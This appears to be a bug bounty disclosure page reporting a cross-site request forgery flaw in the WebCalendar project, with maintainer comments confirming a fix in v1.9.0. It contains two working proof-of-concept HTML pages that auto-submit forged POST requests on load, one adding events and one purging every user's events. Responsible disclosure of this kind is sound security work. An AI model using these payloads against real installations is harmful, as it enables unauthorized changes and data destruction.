Cross-Site Request Forgery (CSRF) in craigk5n/webcalendar

Valid

Reported on

Oct 1st 2021


Description

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
https://github.com/craigk5n/webcalendar/ is vulnerable to CSRF as shown below:

Proof of Concept

// PoC.js
var payload = ...

Impact

This vulnerability is capable of...

Occurrences

The following proof of concept assumes that webcalendar path is http://localhost/webcalendar-master/
Login to webcalendar
Create a new file csrf_addevent.html in any location with the following content:

<html>
    <body onload="document.forms[0].submit()">
        <form enctype="application/x-www-form-urlencoded" method="POST" action="http://localhost/webcalendar-master/edit_entry_handler.php">
        <table>
            <tr><td>eType</td><td><input type="text" value="event" name="eType"></td></tr>
            <tr><td>entry_changed</td><td><input type="text" value="yes" name="entry_changed"></td></tr>
            <tr><td>name</td><td><input type="text" value="CSRFEVENT" name="name"></td></tr>
            <tr><td>description</td><td><input type="text" value="<p>CSRFEVENT</p>" name="description"></td></tr>
            <tr><td>access</td><td><input type="text" value="P" name="access"></td></tr>
            <tr><td>priority</td><td><input type="text" value="5" name="priority"></td></tr>
            <tr><td>cat_id</td><td><input type="text" value="" name="cat_id"></td></tr>
            <tr><td>location</td><td><input type="text" value="" name="location"></td></tr>
            <tr><td>day</td><td><input type="text" value="15" name="day"></td></tr>
            <tr><td>month</td><td><input type="text" value="9" name="month"></td></tr>
            <tr><td>year</td><td><input type="text" value="2021" name="year"></td></tr>
            <tr><td>timetype</td><td><input type="text" value="U" name="timetype"></td></tr>
            <tr><td>entry_hour</td><td><input type="text" value="0" name="entry_hour"></td></tr>
            <tr><td>entry_minute</td><td><input type="text" value="0" name="entry_minute"></td></tr>
            <tr><td>entry_ampm</td><td><input type="text" value="0" name="entry_ampm"></td></tr>
            <tr><td>duration_h</td><td><input type="text" value="0" name="duration_h"></td></tr>
            <tr><td>duration_m</td><td><input type="text" value="00" name="duration_m"></td></tr>
            <tr><td>lookup</td><td><input type="text" value="" name="lookup"></td></tr>
            <tr><td>selectedPart[]</td><td><input type="text" value="admin" name="selectedPart[]"></td></tr>
            <tr><td>rpt_type</td><td><input type="text" value="none" name="rpt_type"></td></tr>
            <tr><td>rpt_end_use</td><td><input type="text" value="f" name="rpt_end_use"></td></tr>
            <tr><td>rpt_freq</td><td><input type="text" value="0" name="rpt_freq"></td></tr>
            <tr><td>wkst</td><td><input type="text" value="MO" name="wkst"></td></tr>
            <tr><td>bydayList</td><td><input type="text" value="" name="bydayList"></td></tr>
            <tr><td>bymonthdayList</td><td><input type="text" value="" name="bymonthdayList"></td></tr>
            <tr><td>bysetposList</td><td><input type="text" value="" name="bysetposList"></td></tr>
            <tr><td>byweekno</td><td><input type="text" value="" name="byweekno"></td></tr>
            <tr><td>byyearday</td><td><input type="text" value="" name="byyearday"></td></tr>
            <tr><td>except_day</td><td><input type="text" value="15" name="except_day"></td></tr>
            <tr><td>except_month</td><td><input type="text" value="9" name="except_month"></td></tr>
            <tr><td>except_year</td><td><input type="text" value="2021" name="except_year"></td></tr>
            <tr><td>rem_action</td><td><input type="text" value="EMAIL" name="rem_action"></td></tr>
            <tr><td>rem_last_sent</td><td><input type="text" value="0" name="rem_last_sent"></td></tr>
            <tr><td>rem_times_sent</td><td><input type="text" value="0" name="rem_times_sent"></td></tr>
            <tr><td>reminder</td><td><input type="text" value="0" name="reminder"></td></tr>
            <tr><td>rem_when</td><td><input type="text" value="N" name="rem_when"></td></tr>
            <tr><td>rem_days</td><td><input type="text" value="0" name="rem_days"></td></tr>
            <tr><td>rem_hours</td><td><input type="text" value="4" name="rem_hours"></td></tr>
            <tr><td>rem_minutes</td><td><input type="text" value="0" name="rem_minutes"></td></tr>
            <tr><td>rem_before</td><td><input type="text" value="Y" name="rem_before"></td></tr>
            <tr><td>rem_related</td><td><input type="text" value="S" name="rem_related"></td></tr>
            <tr><td>rem_rep_count</td><td><input type="text" value="0" name="rem_rep_count"></td></tr>
            <tr><td>participant_list</td><td><input type="text" value="" name="participant_list"></td></tr>
        </table>
        <input type="submit" value="http://localhost/webcalendar-master/edit_entry_handler.php">
        </form>
    </body>
</html>

Open csrf_addevent.html file in a browser and observe a new event is added.

The following proof of concept assumes that webcalendar path is http://localhost/webcalendar-master/ change if needed
Login to webcalendar
Create a new file csrf_deleteevents.html in any location with the following content:

<html>
    <body onload="document.forms[0].submit()">
        <form enctype="application/x-www-form-urlencoded" method="POST" action="http://localhost/webcalendar-master/purge.php">
        <table>
            <tr><td>username</td><td><input type="text" value="ALL" name="username"></td></tr>
            <tr><td>purge_all</td><td><input type="text" value="Y" name="purge_all"></td></tr>
            <tr><td>end_day</td><td><input type="text" value="15" name="end_day"></td></tr>
            <tr><td>end_month</td><td><input type="text" value="9" name="end_month"></td></tr>
            <tr><td>end_year</td><td><input type="text" value="2022" name="end_year"></td></tr>
            <tr><td>preview</td><td><input type="text" value="Y" name="preview"></td></tr>
            <tr><td>delete</td><td><input type="text" value="Delete" name="delete"></td></tr>
        </table>
        <input type="submit" value="http://localhost/webcalendar-master/purge.php">
        </form>
    </body>
</html>

Open csrf_deleteevents.html file in a browser and observe all events were deleted.

Z-Old
2 years ago

Admin


Hey hitisec, I've emailed the maintainers for you.

We have contacted a member of the craigk5n/webcalendar team and are waiting to hear back 2 years ago
Craig Knudsen validated this vulnerability 2 years ago
hitisec has been awarded the disclosure bounty
The fix bounty is now up for grabs
Craig Knudsen
2 years ago

Maintainer


I am currently working on a fix for this.

Craig Knudsen
2 years ago

Maintainer


Fix is in commit 6a3b8ea09459b5135bd0209c6e9cf0e389aaaf54 in bootstrap-ui branch.

https://github.com/craigk5n/webcalendar/commit/d9729b4b01a32557e284ce469a410b24fcb65e62

Craig Knudsen
a year ago

Maintainer


The fix for this is now included in the WebCalendar v1.9.0 release.

Jamie Slome
a year ago

Admin


Thanks for the information @craigk5n - if possible, could you confirm using the confirm fix action?

Let me know if you need any support!

Craig Knudsen marked this as fixed in v1.9.0 with commit d9729b a year ago
Craig Knudsen has been awarded the fix bounty
This vulnerability will not receive a CVE
purge.php#L15-L264 has been validated
to join this conversation